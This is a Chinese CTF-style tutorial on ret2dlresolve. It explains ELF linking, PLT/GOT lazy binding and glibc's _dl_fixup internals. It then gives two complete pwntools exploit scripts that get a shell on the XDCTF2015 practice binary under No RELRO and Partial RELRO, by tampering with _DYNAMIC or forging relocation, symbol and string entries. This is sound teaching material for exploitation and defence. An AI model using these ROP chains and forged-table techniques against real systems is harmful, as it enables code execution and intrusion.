0x0 首先是链接过程

看看静态链接

+-------------+     +-------------+     +-------------+
|  main.c     |     |   foo.c     |     |   lib.c     |
+-------------+     +-------------+     +-------------+
        |                   |                   |
    编译(GCC)           编译(GCC)           编译(GCC)
        |                   |                   |
        v                   v                   v
+-------------+     +-------------+       +-------------+
|  main.o     |     |   foo.o     |       |  lib.o      |
+-------------+     +-------------+       +-------------+
        |                   |                    |
        |                   +----------+---------+
        |                              |
        |                              v
        |                     +------------------+
        |                     |  libmylib.a      |
        |                     | (打包多个 .o)     |
        |                     +------------------+
        |                              |
        +------------------------------+
        |
        v
        +------------------+
        | 链接器 (GNU ld)   |
        +------------------+
        |
        v
   [符号解析]-->[地址分配]-->[重定位]
                              |
                              v
+----------------------------------+
|           a.out                  |
|----------------------------------|
| .text  (main + foo + libc代码)   |
| .data                            |
| .bss                             |
| .rodata                          |
|                                  |
|  所有函数地址已确定                |
|  无未解析符号                     |
|  无 GOT/PLT                      |
+----------------------------------+

符号解析:将代码中的引用和定义进行匹配;
地址分配:将.o和.a中所需的部分的.text、.data、.rodata拼在一起;
重定位:链接器通过重定位表确认每个符号的地址生成最后的可执行文件。
这一切都会在程序执行前完成,如果段权限不出问题的情况是比较安全的。
然后如果当一个函数被众多文件调用,那它就会在内存中出现许多次(因为每一次编译时,它都会被链接进程序,而程序执行时会将整个程序装载进内存),对内存空间产生了浪费,所以现在主流的情况是动态链接。但是静态链接也有好处就是程序执行时不需要外部的依赖文件。

动态链接

main.o  foo.o  libc.so(动态链接库)
        |
        v
+------------------+
|   链接器 (ld)     |
+------------------+
    |
    v
[部分符号解析]->[生成PLT表]
                    |
                    v
[生成重定位表]<-[生成GOT表]
    |
    v
+----------------------------------+
|           a.out                  |
|----------------------------------|
| .text  (main + foo)              |
| .plt   (函数跳板)                 |
| .got   (函数地址表)               |
| .rela.plt (重定位信息)            |
| .dynamic (依赖信息)               |
|                                  |
| printf地址未确定                  |
| 记录 需要printf                   |
| 记录 libc.so 依赖                 |
+----------------------------------+

部分符号解析:先判断引用的动态链接库是否存在,如果存在优先进行动态链接,如果不存在则进行静态链接,动态链接进行部分符号解析,只记录需要使用该符号(xxx@plt),而不解析该符号具体地址;
生成PLT表:对每个外部的函数(动态链接库中的函数)生成一个PLT entry,代码类似如下的返汇编代码

sub_1020        proc near
                push    cs:qword_3338
                jmp     cs:qword_3340
sub_1020        endp

sub_1030        proc near
                endbr64
                push    0
                jmp     sub_1020
sub_1030        endp

; int puts(const char *s)
_puts           proc near
                endbr64
                jmp     cs:puts_ptr
_puts           endp

生成GOT表:本质上是一个地址数组,里面将存放对应函数的真实地址;
生成重定位表:告诉链接器对应函数的地址应该存放在哪

动态链接后的执行

动态链接后,如果要执行对应的动态链接库中的函数,则会先执行plt表中的代码,然后跳转到got表中所存放的地址进行执行真正的函数。
而got表中的值在程序执行前是空着的,那么程序如何知道真正的函数地址呢?
这里就要提到一个机制叫做Lazy Binding。
它的原理是我们先统一向got表中填充一个plt表中的地址,当程序第一次执行这个函数时,会先跳转到plt表中执行一个填充对应got表中地址的函数,填充完毕后再执行该函数,在这之后如果再次需要使用这个函数就可以直接从got表中获取到函数的地址。
而这个填充got表中函数地址的函数叫做
_dl_runtime_resolve,在没有保护的时候,具体流程如下:

call puts@plt
|
v
endbr64 (IBT保护机制,此处可直接视为nop)
jmp cs:puts_ptr
|
v
endbr64
push    0 (puts函数在重定位表中的index)
jmp     sub_1020
|
v
push    cs:qword_3338 (link_map,程序执行后填入的ld中的地址)
jmp     cs:qword_3340 (_dl_runtime_resolve,ld中的函数地址)

其中link_map可以被认为是当前进程中所有ELF的数据库,而_dl_runtime_resolve的执行过程如下

保存当前CPU状态、调整栈对齐
将link_map和index分别设为参数1和参数2
call _dl_fixup(更新got表并返回解析后的函数地址)
恢复保存的CPU状态、调整栈指针
跳转到解析后函数地址执行实际的函数调用

再来看看_dl_fixup的执行过程
首先是从link_map中获取关键的变量值

# symtab 符号表
  const ElfW(Sym) *const symtab = (const void *) D_PTR (l, l_info[DT_SYMTAB]);
# strtab 字符串表
  const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]);
# pltgot got表
  const uintptr_t pltgot = (uintptr_t) D_PTR (l, l_info[DT_PLTGOT]);
# DT_JMPREL 重定位表;reloc 重定位项
  const PLTREL *const reloc = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset (pltgot, reloc_arg));

l_info 指向.dynamic的索引数组<类型,地址>

符号表

typedef struct {
    Elf64_Word    st_name;   // 符号名(字符串与字符串表的偏移)
    unsigned char st_info;   // 类型 + 绑定
    unsigned char st_other;  // 可见性
    Elf64_Section st_shndx;  // 所在 section
    Elf64_Addr    st_value;  // 地址 / 偏移
    Elf64_Xword   st_size;   // 大小
} Elf64_Sym;

字符串表

got表

重定位表(记录着对应的got表中的地址r_offset=0x3348和符号表中的地址r_info=0x300000007(r_info=(symbol_index<<32)|type),第一行的symbol_index也就是0x3

根据r_info和r_offset解析符号和计算对应的GOT地址

  const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];
  ...
  void *const rel_addr = (void *)(l->l_addr + reloc->r_offset);

然后根据符号表中记录的偏移找到字符串表中的符号名查找对应的符号

  result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope, version, ELF_RTYPE_CLASS_PLT, flags, NULL);

得到最终的符号地址

  value = DL_FIXUP_MAKE_VALUE (result, SYMBOL_ADDRESS (result, sym, false));

如果是IFUNC(无法直接获取函数地址的函数),则执行该函数的resolver获取具体地址并返回;如果不是IFUNC则跳过这一步

  value = elf_ifunc_invoke (DL_FIXUP_VALUE_ADDR (value));

当_dl_fixup执行结束将返回地址填充回对应sym的got表

  return elf_machine_fixup_plt (l, result, refsym, sym, reloc, rel_addr, value);

最后则回到_dl_runtime_resolve中跳转到被调用的动态链接函数中执行
那么这些流程中存在哪些攻击点呢?

0x1 攻击思路

修改

修改_DYNMIC

它既然是通过字符串表中的字符串来寻找到对应的函数地址,而字符串表的地址是通过_DYNMIC获得,那么我们如果修改了_DYNMIC中字符串表的地址,就能控制某个函数对应的字符串了,比如让read函数对应system字符串,那么执行read就会相当于执行system;当然也可以修改其它的值。

伪造

伪造重定位项

_dl_fixup获取重定位项时需要reloc_arg,而这个值是在执行_dl_runtime_resolve前确定的,那么我们改变这个值就可以控制重定位项指向我们伪造的数据从而控制r_info和r_offset从而控制对应的符号表项和got表项

伪造link_map

既然_dl_fixup的一切操作都是从link_map中获取的数据,那么我们伪造一个link_map就能令其获取任意函数地址写入任意地址了

0x2 三种保护

注:当编译时未加上-z,lazy时,编译出的程序即使显示No RELRO也关闭了lazy binding,会在程序启动时将got表填充完毕

No RELRO

gcc -fno-stack-protector -no-pie -w -z norelro -z lazy young.c -o young_no_relro
# 如果no_relro后面没有加上lazy,它也会在进入main函数前将got表填充完毕

GOT 完全可写,开启了lazy binding

Partial RELRO

gcc -fno-stack-protector -no-pie -w -z relro -z lazy young.c -o young_partial_relro

GOT 部分可写,开启了lazy binding
最主要的区别在于程序运行后_DYNAMIC不可写了,也就是图中部分

Full RELRO

gcc -fno-stack-protector -no-pie -w -z relro -z now young.c -o young_full_relro

GOT 不可写,关闭了lazy binding
关闭lazy binding后got表中的地址便会在程序一运行后全部填充完毕。

0x3 实例应用

#include <unistd.h>
#include <stdio.h>
#include <string.h>

void vuln()
{
    char buf[100];
    setbuf(stdin, buf);
    read(0, buf, 256);
}
int main()
{
    char buf[100] = "Welcome to XDCTF2015~!\n";

    setbuf(stdout, buf);
    write(1, buf, strlen(buf));
    vuln();
    return 0;
}

No RELRO

查看反编译代码

基础栈溢出,保护为No RELRO,这里尝试通过修改_DYNAMIC来get shell
首先分析一下程序,可以发现这个程序的gadget非常之稀少,没有如pop rdi之类的gadget能够控制寄存器。
那我们就需要考虑一下有哪些程序原有的代码片段可以利用

栈迁移片段


这个配合栈溢出可以让我们控制rsp和rbp

read片段


我们可以发现这处调用read的片段中buf参数是由rbp获取的,而我们又能控制rbp,那就能够进行容易地址的写入

strlen片段


我们应该考虑一下,如果我们要getshell,不可避免的就是要控制rdi寄存器,不然无法执行
/bin/sh命令,在这个strlen片段中,rdi寄存器的值也是由rbp获取的,而我们能控制rbp,再配合上面的任意写,我们也就可以获得一个以/bin/sh为第一参数调用的函数

ret2dlresolve思路

从这一题来说,我们考虑修改_DYNAMIC中的STRTAB项,令其指向我们伪造的字符串表,然后令某个函数的字符串改为system,再通过调用第二段lazy binding,也就是_dl_runtime_resolve使其将system的函数地址写入到该函数的got表项中,然后调用该函数实现执行system命令

触发ret2dlresolve

由于我们无法直接控制rdi的值,所以不能用ropchain的方式触发ret2dlresolve,但是我们可以通过修改strlen的got表指向plt的第二段指令,结合前面strlen的代码片段来触发ret2dlresolve

具体脚本编写

首先进行栈溢出,控制rbp指向bss+0x70(因为read的参数是rbp-0x70),并准备向BSS上的写入

    bss = 0x403e00 
    read = 0x4011b8
    buf = b"a" * 0x70 + p64(bss + 0x70) + p64(read)
    io.send(buf)
    pause()

然后填充0x70字节数据,并控制rbp的值为_DYNAMIC中STRTAB项的位置+0x70,准备修改_DYNAMIC并顺便在其后伪造STRTAB

# 这里的ROP_chain_1和ROP_chain_2在后面进行解释
    STRTAB = 0x403198
    buf = ROP_chain_1 + ROP_chain_2
    buf = buf.ljust(0x70, b"a") 
    buf+= p64(STRTAB+0x70-0x40) + p64(read)
    buf+= b"\x00stdin\x00setbuf\x00system\x00"
    io.send(buf)
    pause()

接着在尽可能不破坏的修改_DYNAMIC(因为_dl_fixup中会使用到_DYNAMIC中的很多表项)的情况下修改STRTAB为前面伪造的STRTAB,并用两次leave进行栈迁移调整rsp到bss段上执行bss段上的ROP_chain_1

    leave = 0x4011cf
    # _DYNAMIC具体的值可以从ida中静态分析获取
    _DYNAMIC = p64(0x1b) + p64(8)
    _DYNAMIC+= p64(0x1a) + p64(0x403110)
    _DYNAMIC+= p64(0x1c) + p64(8)
    _DYNAMIC+= p64(0x6FFFFEF5) + p64(0x400378)
    
    # 填充一部分_DYNAMIC后更改STRTAB为bss+0x80
    # 然后再填充一部分直到leave后的rbp的位置便于控制rbp
    buf = _DYNAMIC
    buf+= p64(0x5) + p64(bss+0x80)
    buf+= p64(0x6) + p64(0x4003a0)
    buf+= p64(0xa) + p64(0x69)
    buf+= p64(bss) + p64(leave) + p64(leave)
    io.send(buf) 
    pause()

下面是上面没写明的ROP_chain_1,用于修改strlen的got表项

    strlen_got = 0x403318
    ROP_chain_1 = p64(strlen_got+0x70) + p64(read) 

修改got表项为第二段strlen@plt
后,接着准备触发ret2dlresolve,由于_dl_runtime_resolve需要很大的栈空间,而执行完上面的ROP_chain_1后,rsp指向的位置所留可读可写的空间很小(0x403000-0x403),我们再次通过栈迁移令rsp指向bss+0x10(因为bss处的是ROP_chain_1),且利用先前准备好的ROP_chain_2触发ret2dlresolve
红色箭头的是触发ret2dlresolve的关键函数,蓝色箭头的是触发关键函数的plt代码,上面的是第二段plt,下面的是第一段plt,且其按位置关系一一对应

    strlen_plt_2 = 0x401040
    buf = b""
    buf+= p64(strlen_plt_2)
    buf = buf.ljust(0x70, b"a")
    buf+= p64(bss + 0x10) + p64(leave) + p64(leave)
    io.send(buf)

下面是上面未写明的ROP_chain_2

    strlen_ = 0x40126d    
    ROP_chain_2 = p64(bss+0x20+0x70) + p64(strlen_) + b"/bin/sh\x00"

最后执行成功getshell

以下是完整脚本

#!/bin/python
# -*- coding: utf-8 -*-
"""
@author: a4
@date: 2026-04-06
"""

def main():
    
    bss = 0x403e00 
    read = 0x4011b8
    buf = b"a" * 0x70 + p64(bss + 0x70) + p64(read)
    io.send(buf)
    pause()

    # 注意调用dl_resolve需要很大的栈空间
    strlen_got = 0x403318
    ROP_chain_1 = p64(strlen_got+0x70) + p64(read) 
    
    strlen_ = 0x40126d    
    ROP_chain_2 = p64(bss+0x20+0x70) + p64(strlen_) + b"/bin/sh\x00"
    
    STRTAB = 0x403198    
    buf = ROP_chain_1 + ROP_chain_2
    buf = buf.ljust(0x70, b"a") 
    buf+= p64(STRTAB+0x70-0x40) + p64(read)
    buf+= b"\x00stdin\x00setbuf\x00system\x00"
    io.send(buf)
    pause()

    leave = 0x4011cf
    
    _DYNAMIC = p64(0x1b) + p64(8)
    _DYNAMIC+= p64(0x1a) + p64(0x403110)
    _DYNAMIC+= p64(0x1c) + p64(8)
    _DYNAMIC+= p64(0x6FFFFEF5) + p64(0x400378)
    
    # 填充一部分_DYNAMIC后更改STRTAB为bss+0x80
    # 然后再填充一部分直到leave后的rbp的位置便于控制rbp
    buf = _DYNAMIC
    buf+= p64(0x5) + p64(bss+0x80)
    buf+= p64(0x6) + p64(0x4003a0)
    buf+= p64(0xa) + p64(0x69)
    buf+= p64(bss) + p64(leave) + p64(leave)
    io.send(buf) 
    pause()

    strlen_plt_2 = 0x401040
    buf = b""
    buf+= p64(strlen_plt_2)
    buf = buf.ljust(0x70, b"a")
    buf+= p64(bss + 0x10) + p64(leave) + p64(leave)
    io.send(buf)
    return

from pwn import *
from LibcSearcher import *
import sys
if len(sys.argv) == 1:
  print("\033[33mPlease input binary name or remote target.\033[0m")
  sys.exit(1)
BINARY = sys.argv[1]
if len(sys.argv) == 3:
  if ":" in sys.argv[2]:
    TARGET = sys.argv[2].split(":")
    io = remote(TARGET[0], TARGET[1])
  else:
    io = process(BINARY)
else:
  io = process(['gdbserver', '--no-disable-randomization', ':1234', BINARY])
elf = ELF(BINARY)
libc = elf.libc
context.binary = BINARY
context.log_level = "DEBUG"

if __name__ == '__main__':
  main()
  io.interactive()

Partial RELRO

在Partial RELRO上使用上面的脚本就会发现,_DYNAMIC不能被修改了

这就需要另一个思路,伪造重定位表项
首先我们知道plt的第二段代码中会将reloc_arg压入栈中,而在
_dl_fixup中会利用reloc_arg寻找重定位表项,那如果我们伪造一个reloc_arg值,就能令其找到的重定位表项是由我们所伪造的表项,然后再令伪造的表项里的r_info指向我们伪造的symtab表项,接着使伪造的symtab中的st_name指向我们伪造的strtab表项,令其最终寻找返回我们想要的函数地址。
简单来说,我们需要伪造四组数据,分别是relo_arg、jmprel、symtab、strtab。下面是与之相关的源码

# function_addr
# |
# +---strtab+sym->st_name 
#     |
#	  +---reloc->r_info
#         | 
#		  +---JMPREL+reloc_arg
  const PLTREL *const reloc = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset (pltgot, reloc_arg));
  const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];
  ...
  void *const rel_addr = (void *)(l->l_addr + reloc->r_offset);
  result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope, version, ELF_RTYPE_CLASS_PLT, flags, NULL);

栈迁移、read、strlen片段

和No RELRO一致

ret2dlresolve思路

先控制rbp到bss上,用read在bss上伪造strtab、symtab和jmprel表项,接着伪造reloc_arg使其指向bss上的jmpsel表项,然后跳转到plt代码的第二部分的后半段执行,以成功调用system函数

plt代码的第二部分后半段(在程序中的位置比前半段靠前)
.plt:0000000000401020 sub_401020      proc near
.plt:0000000000401020 ; __unwind {
.plt:0000000000401020                 push    cs:qword_403FF0
.plt:0000000000401026                 jmp     cs:qword_403FF8
.plt:0000000000401026 sub_401020      endp
plt代码的第二部分前半段
.plt:0000000000401040 sub_401040      proc near
.plt:0000000000401040                 endbr64
.plt:0000000000401044                 push    1
.plt:0000000000401049                 jmp     sub_401020
.plt:0000000000401049 sub_401040      endp
plt代码的第一部分
.plt.sec:0000000000401080 ; size_t strlen(const char *s)
.plt.sec:0000000000401080 _strlen         proc near
.plt.sec:0000000000401080                 endbr64
.plt.sec:0000000000401084                 jmp     cs:off_404008
.plt.sec:0000000000401084 _strlen         endp

触发ret2dlresolve

和No RELRO类似,通过修改got表指向pop xxx; retgadget片段,实现ROP_chain调用plt代码第二部分的后半段(这里用ROP_chain调用而不是直接call的原因是call会将rip压入栈中,破坏了我们伪造的栈中参数reloc_arg,所以我们用pop ret的gadget片段将rip从栈中弹出,使当前的栈顶是我们伪造的reloc_arg(因为正常流程中plt的第二部分的前半段就是将reloc_arg压入栈中后就进入后半部分,此时的栈顶就是reloc_arg))

具体脚本编写

首先栈溢出控制rbp指向bss上(注意留足栈空间,_dl_runtime_resolve执行时需要很大的栈空间)

    bss = 0x404e00
    read_ = 0x4011b8
    # 这里bss减去了一个8是为了化解后面伪造表项的0x18字节对齐与构造ROP_chain之间空间的矛盾
    # 如果有不同的构造方式减去的值可能不同
    buf = b"a"*0x70+p64(bss+0x70-8)+p64(read_)
    io.send(buf)
    pause()

然后在bss上伪造strtab、symtab和jmprel表项

伪造strtab

看看原本的strtab

就是一大片的字符串,所以我们伪造的strtab只要包含
system\x00字符串即可

    # 这里两个\x00是为了八字节对齐,方便构造ROP_chain
    fake_strtab = b"system\x00\x00"
伪造symtab

看看原本的symtab

依旧每个项0x18个字节(32位可能有所不同,但是依葫芦画瓢按照原表的格式来即可),总共是6个int类型的数据,其中第一个参数是其在strtab中的偏移,第二个参数是类型,按照原函数填即可,第三四五六均为0即可(听ai说也可以为其它的值,ret2dlresolve中不会使用这些值,经过测试,全填为a也能打通)
然后其中的第一个参数,需要我们计算一下真正的strtab表与我们伪造的strtab表项的偏移得到str_offset

    strtab = 0x4004b0
    # 此处加上的0x28是后面构造ROP_chain时ROP_chain的长度
    # 也就是说伪造的内容在ROP_chain的后面,避免被栈覆盖
    str_offset = bss - strtab + 0x28
    fake_symtab = p32(str_offset) + p32(0x12) + p32(0)*4
伪造jmprel

我们观察一下原本的jmprel

每个表项占用0x18个字节,前8个是其got表地址,中间8个是r_info(symbol_index<<32 | type)(symbol_index是其在symtab中的序号,type与原表中函数保持一致即可),最后8个字节为0(但是这8字节不会参与ret2dlresolve中的运算,所以也可以不管它的值是多少)
那么symbol_index应该如何计算呢,前面我们知道,一个symtab表项的大小是0x18字节,而symbol_index是其序号,简单运算后可以知道其值应该是(symtab_offset / 0x18),这里我们就要注意,symtab_offset需要能被0x18整除,如果不能整除调整一下伪造的symtab表项的位置即可

    strlen_got = 0x404008
    symtab = 0x4003d8
    sym_offset = bss - symtab + 0x28 + 0x8
    sym_index = sym_offset // 0x18
    r_info = sym_index << 32 | 0x7
    
    fake_jmprel = p64(strlen_got) + p64(r_info)

# 这里加了个小检测,判断sym_offset是否能被0x18整除	
    if sym_index*0x18 != sym_offset:
        print("error: sym_offset is not good.")
        exit()
组合ROP_chain

准备好伪造表项后将其与ROP_chain组合起来并发送出去写入到bss并栈迁移到bss位置,准备第一段ROP,并为后续的第二段ROP做准备。
下一步就是要准备触发ret2dlresolve,我们选择修改got表后调用一个妙妙gadget(也就是strlen的那块gadget)来触发

    leave = 0x4011cf
    ROP_chain_1 = p64(strlen_got+0x70) + p64(read_)
    # ROP_chain_2等下解释
    buf = ROP_chain_1 + ROP_chain_2
    buf+= fake_strtab
    buf+= fake_symtab
    # 将ROP_chain_2中的/bin/sh\x00字符串插入到这
    # 用于填充fake_jmprel的前部令其0x18字节对齐
    buf+= b"/bin/sh\x00"
    
    buf+= fake_jmprel
    buf = buf.ljust(0x70, b"a")
    # 这里的bss-8是为了配合上面的bss-8
    # 令rsp能够指向ROP_chain的正确位置
    buf+= p64(bss-8) + p64(leave) + p64(leave)
    io.send(buf)
    pause()

由于当执行call指令时会向栈中压入rip的值,而我们执行plt的第二部分的后半段时栈顶的值应为reloc_arg,所以我们需要通过pop xxx; ret的方式将rip弹出,保证栈中数据完全可控,所以我们向got表中写入pop rbp; ret的gadget地址,并通过栈迁移,令rsp指向bss上准备的第二段ROP的地址来触发ret2dlresolve

    pop_rbp = 0x40117d
    buf = p64(pop_rbp)
    buf = buf.ljust(0x70, b"a")
    buf+= p64(bss+0x10-8) + p64(leave) + p64(leave)
    io.send(buf)

前面的分析中,我们知道在执行_dl_runtime_resolve前,我们需要将reloc_arg压入栈中,那么reloc_arg是多少呢?
我们看看正常的reloc_arg


在正常流程中,plt的第二部分的前半段中压入栈中的数字就是reloc_arg,其代表该重定位项在重定位表中的序号,而我们前面又知道了重定位表中一项的大小的0x18给字节,那么其计算和symbol_index类似,即用jmprel表与伪造的jmprel表项间的偏移除以0x18得到的值就是reloc_arg,在这里也是要注意reloc_offset需要能够被0x18整除
(32位下可能不是0x18,具体情况具体分析,思路是一样的)

    jmprel = 0x4005c0
    reloc_offset = bss - jmprel + 0x28 + 0x28
    reloc_arg = reloc_offset // 0x18
    if reloc_arg*0x18 != reloc_offset:
        print("error: reloc_offset is not good.")
        exit()

知道了reloc_arg后,我们就可以编写ROP_chain_2了,我们需要控制rbp+0x70指向/bin/sh\x00字符串,然后调用strlen片段跳转执行pop xxx; ret后带着reloc_arg作为栈顶元素,进入jmp_dl(即plt的第二部分的后半段代码)中调用_dl_runtime_resolve即能执行system("/bin/sh")

    jmp_dl = 0x401020
    strlen_ = 0x40126d
    # /bin/sh\x00字符串用于填充未存储在ROP_chain_2中
    ROP_chain_2 = p64(bss+0x48+0x70) + p64(strlen_) + p64(jmp_dl) + p64(reloc_arg)

最后执行成功get shell

以下是完整脚本

# -*- coding: utf-8 -*-
"""
@author: a4
@date: 2026-04-08
"""

def main():
    bss = 0x404e00
    read_ = 0x4011b8
    buf = b"a"*0x70+p64(bss+0x70-8)+p64(read_)
    io.send(buf)
    pause()
    
    fake_strtab = b"system\x00\x00"
    strtab = 0x4004b0
    
    
    str_offset = bss - strtab + 0x28
    fake_symtab = p32(str_offset) + p32(0x12) + p32(0)*4
    strlen_got = 0x404008
    symtab = 0x4003d8
    sym_offset = bss - symtab + 0x28 + 0x8
    sym_index = sym_offset // 0x18
    r_info = sym_index << 32 | 0x7
    
    fake_jmprel = p64(strlen_got) + p64(r_info)
    
# 这里加了个小检测,判断sym_offset是否能被0x18整除	
    if sym_index*0x18 != sym_offset:
        print("error: sym_offset is not good.")
        exit()
    
    leave = 0x4011cf
    ROP_chain_1 = p64(strlen_got+0x70) + p64(read_)
    
    jmprel = 0x4005c0
    reloc_offset = bss - jmprel + 0x28 + 0x28
    reloc_arg = reloc_offset // 0x18
    jmp_dl = 0x401020
    strlen_ = 0x40126d
    # /bin/sh\x00字符串用于填充未存储在ROP_chain_2中
    ROP_chain_2 = p64(bss+0x48+0x70) + p64(strlen_) + p64(jmp_dl) + p64(reloc_arg)
    
    if reloc_arg*0x18 != reloc_offset:
        print("error: reloc_offset is not good.")
        exit()
    
    buf = ROP_chain_1 + ROP_chain_2
    buf+= fake_strtab
    buf+= fake_symtab
    # ROP_chain_2中的/bin/sh\x00字符串插入到这
    # 用于填充fake_jmprel的前部令其0x18字节对齐
    buf+= b"/bin/sh\x00"
    buf+= fake_jmprel
    buf = buf.ljust(0x70, b"a")
    buf+= p64(bss-8) + p64(leave) + p64(leave)
    io.send(buf)
    pause()
    
    pop_rbp = 0x40117d
    buf = p64(pop_rbp)
    buf = buf.ljust(0x70, b"a")
    buf+= p64(bss+0x10-8) + p64(leave) + p64(leave)
    io.send(buf)
    return
from pwn import *
from LibcSearcher import *
import sys
if len(sys.argv) == 1:
  print("\033[33mPlease input binary name or remote target.\033[0m")
  sys.exit(1)
BINARY = sys.argv[1]
if len(sys.argv) == 3:
  if ":" in sys.argv[2]:
    TARGET = sys.argv[2].split(":")
    io = remote(TARGET[0], TARGET[1])
  else:
    io = process(BINARY)
else:
  io = process(['gdbserver', '--no-disable-randomization', ':1234', BINARY])
elf = ELF(BINARY)
libc = elf.libc
context.binary = BINARY
context.log_level = "DEBUG"

if __name__ == '__main__':
  main()
  io.interactive()